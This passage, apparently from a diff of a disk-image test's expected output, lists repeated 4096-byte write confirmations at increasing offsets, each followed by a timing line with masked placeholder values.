Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1155072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1163264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1171456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1179648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1187840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1196032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1204224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1212416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1220608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1228800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1236992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1245184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1253376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1261568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1269760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1277952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1286144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1294336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1302528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1310720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1318912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1327104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1335296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1343488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1351680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1359872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1368064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1376256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1384448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1392640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1400832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1409024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1417216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1425408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1433600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1441792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1449984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1458176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1466368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1474560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1482752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1490944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1499136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1507328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1515520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1523712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1531904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1540096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1548288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1556480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1564672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1572864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1581056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1589248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1597440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1605632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1613824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1622016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1630208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1638400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1646592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1654784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1662976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1671168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1679360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1687552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1695744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1703936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1712128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1720320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1728512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1736704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1744896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1753088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1761280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1769472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1777664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1785856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1794048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1802240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1810432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1818624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1826816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1835008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1843200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1851392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1859584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1867776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1875968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1884160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1892352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1900544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1908736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1916928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1925120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1933312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1941504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1949696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1957888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1966080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1974272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1982464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1990656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 1998848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2007040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2015232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2023424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2031616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2039808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2048000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2056192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2064384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2072576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2080768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2088960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2097152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2105344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2113536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2121728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2129920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2138112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2146304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2154496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2162688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2170880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2179072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2187264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2195456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2203648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2211840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2220032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2228224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2236416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2244608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2252800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2260992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2269184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2277376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2285568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2293760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2301952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2310144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2318336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2326528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2334720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2342912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2351104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2359296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2367488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2375680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2383872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2392064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2400256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2408448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2416640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2424832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2433024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2441216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2449408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2457600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2465792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2473984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2482176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2490368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2498560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2506752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2514944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2523136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2531328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2539520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2547712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2555904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2564096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2572288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2580480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2588672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2596864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2605056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2613248 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2621440 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2629632 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2637824 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2646016 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2654208 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2662400 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2670592 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2678784 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2686976 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2695168 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2703360 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2711552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2719744 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2727936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2736128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2744320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2752512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2760704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2768896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2777088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2785280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2793472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2801664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2809856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2818048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2826240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2834432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2842624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2850816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2859008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2867200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2875392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2883584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2891776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2899968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2908160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2916352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2924544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2932736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2940928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2949120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2957312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2965504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2973696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2981888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2990080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 2998272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3006464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3014656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3022848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 3031040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 